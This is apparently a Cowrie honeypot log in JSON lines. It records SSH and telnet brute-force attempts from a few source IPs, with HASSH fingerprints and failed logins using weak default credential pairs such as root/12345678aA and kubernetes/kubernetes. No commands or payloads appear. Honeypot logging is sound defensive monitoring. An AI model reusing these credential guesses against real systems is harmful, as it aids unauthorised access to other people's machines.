{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":47230,"dst_ip":"10.17.0.5","dst_port":22,"session":"74434dcc517e","protocol":"ssh","message":"New connection: 95.38.165.118:47230 (10.17.0.5:22) [session: 74434dcc517e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:55:48.721278Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:55:48.829514Z","src_ip":"95.38.165.118","session":"74434dcc517e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:55:48.970175Z","src_ip":"95.38.165.118","session":"74434dcc517e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gpuadmin","password":"gpuadmin","message":"login attempt [gpuadmin/gpuadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:55:50.999557Z","src_ip":"95.38.165.118","session":"74434dcc517e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:55:52.868438Z","src_ip":"95.38.165.118","session":"74434dcc517e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":47246,"dst_ip":"10.17.0.5","dst_port":22,"session":"14e707b1b6d6","protocol":"ssh","message":"New connection: 95.38.165.118:47246 (10.17.0.5:22) [session: 14e707b1b6d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:55:54.643483Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:55:54.648590Z","src_ip":"95.38.165.118","session":"14e707b1b6d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:55:54.817774Z","src_ip":"95.38.165.118","session":"14e707b1b6d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.22.57.101","src_port":38338,"dst_ip":"159.203.135.109","dst_port":23,"session":"5b6aa9220a1a","protocol":"telnet","message":"New connection: 165.22.57.101:38338 (159.203.135.109:23) [session: 5b6aa9220a1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:55:54.943670Z"}
{"eventid":"cowrie.session.closed","duration":63.51930642127991,"message":"Connection lost after 63 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:55:55.448725Z","src_ip":"178.128.93.180","session":"31a9425c2589","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop123","message":"login attempt [hadoop/hadoop123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:55:55.836985Z","src_ip":"95.38.165.118","session":"14e707b1b6d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:55:57.009020Z","src_ip":"95.38.165.118","session":"14e707b1b6d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.40.30.168","src_port":33548,"dst_ip":"159.203.135.109","dst_port":22,"session":"1bcba7ed3901","protocol":"ssh","message":"New connection: 185.40.30.168:33548 (159.203.135.109:22) [session: 1bcba7ed3901]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:55:59.704065Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:55:59.709583Z","src_ip":"185.40.30.168","session":"1bcba7ed3901","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:55:59.837600Z","src_ip":"185.40.30.168","session":"1bcba7ed3901","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":37170,"dst_ip":"10.17.0.5","dst_port":22,"session":"ff4d455c3ac4","protocol":"ssh","message":"New connection: 95.38.165.118:37170 (10.17.0.5:22) [session: ff4d455c3ac4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:55:59.997371Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:56:00.013908Z","src_ip":"95.38.165.118","session":"ff4d455c3ac4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:56:00.271500Z","src_ip":"95.38.165.118","session":"ff4d455c3ac4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678aA","message":"login attempt [root/12345678aA] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:56:00.396255Z","src_ip":"185.40.30.168","session":"1bcba7ed3901","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:56:01.530047Z","src_ip":"185.40.30.168","session":"1bcba7ed3901","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kubernetes","password":"kubernetes","message":"login attempt [kubernetes/kubernetes] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:56:01.778053Z","src_ip":"95.38.165.118","session":"ff4d455c3ac4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:56:03.778326Z","src_ip":"95.38.165.118","session":"ff4d455c3ac4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":36446,"dst_ip":"159.203.135.109","dst_port":23,"session":"25dca3f3fcb2","protocol":"telnet","message":"New connection: 69.4.83.194:36446 (159.203.135.109:23) [session: 25dca3f3fcb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:56:04.011191Z"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":37186,"dst_ip":"10.17.0.5","dst_port":22,"session":"03e92c82c6f3","protocol":"ssh","message":"New connection: 95.38.165.118:37186 (10.17.0.5:22) [session: 03e92c82c6f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:56:05.690125Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:56:05.695396Z","src_ip":"95.38.165.118","session":"03e92c82c6f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:56:05.864202Z","src_ip":"95.38.165.118","session":"03e92c82c6f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"leonardo","password":"leonardo","message":"login attempt [leonardo/leonardo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:56:06.398613Z","src_ip":"95.38.165.118","session":"03e92c82c6f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:56:07.598600Z","src_ip":"95.38.165.118","session":"03e92c82c6f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":42990,"dst_ip":"10.17.0.5","dst_port":22,"session":"8466f39bfe73","protocol":"ssh","message":"New connection: 95.38.165.118:42990 (10.17.0.5:22) [session: 8466f39bfe73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:56:11.278970Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:56:11.614396Z","src_ip":"95.38.165.118","session":"8466f39bfe73","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:56:11.618393Z","src_ip":"95.38.165.118","session":"8466f39bfe73","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123321","message":"login attempt [root/Aa123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:56:13.030209Z","src_ip":"95.38.165.118","session":"8466f39bfe73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:56:14.203450Z","src_ip":"95.38.165.118","session":"8466f39bfe73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":42036,"dst_ip":"10.17.0.5","dst_port":22,"session":"06e43eaaf399","protocol":"ssh","message":"New connection: 95.38.165.118:42036 (10.17.0.5:22) [session: 06e43eaaf399]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:56:16.994785Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:56:17.173238Z","src_ip":"95.38.165.118","session":"06e43eaaf399","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:56:17.264342Z","src_ip":"95.38.165.118","session":"06e43eaaf399","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wang","password":"wang","message":"login attempt [wang/wang] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:56:18.382536Z","src_ip":"95.38.165.118","session":"06e43eaaf399","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.94010901451111,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:56:19.799349Z","src_ip":"69.4.83.194","session":"90d893278764","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:56:20.830546Z","src_ip":"95.38.165.118","session":"06e43eaaf399","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":42044,"dst_ip":"10.17.0.5","dst_port":22,"session":"f30abec7d9c8","protocol":"ssh","message":"New connection: 95.38.165.118:42044 (10.17.0.5:22) [session: f30abec7d9c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:56:22.338475Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:56:22.457727Z","src_ip":"95.38.165.118","session":"f30abec7d9c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:56:23.322051Z","src_ip":"95.38.165.118","session":"f30abec7d9c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":29.07522463798523,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:56:24.018753Z","src_ip":"165.22.57.101","session":"5b6aa9220a1a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin123","password":"admin123","message":"login attempt [admin123/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:56:24.794353Z","src_ip":"95.38.165.118","session":"f30abec7d9c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:56:26.208975Z","src_ip":"95.38.165.118","session":"f30abec7d9c8","protocol":"ssh"}
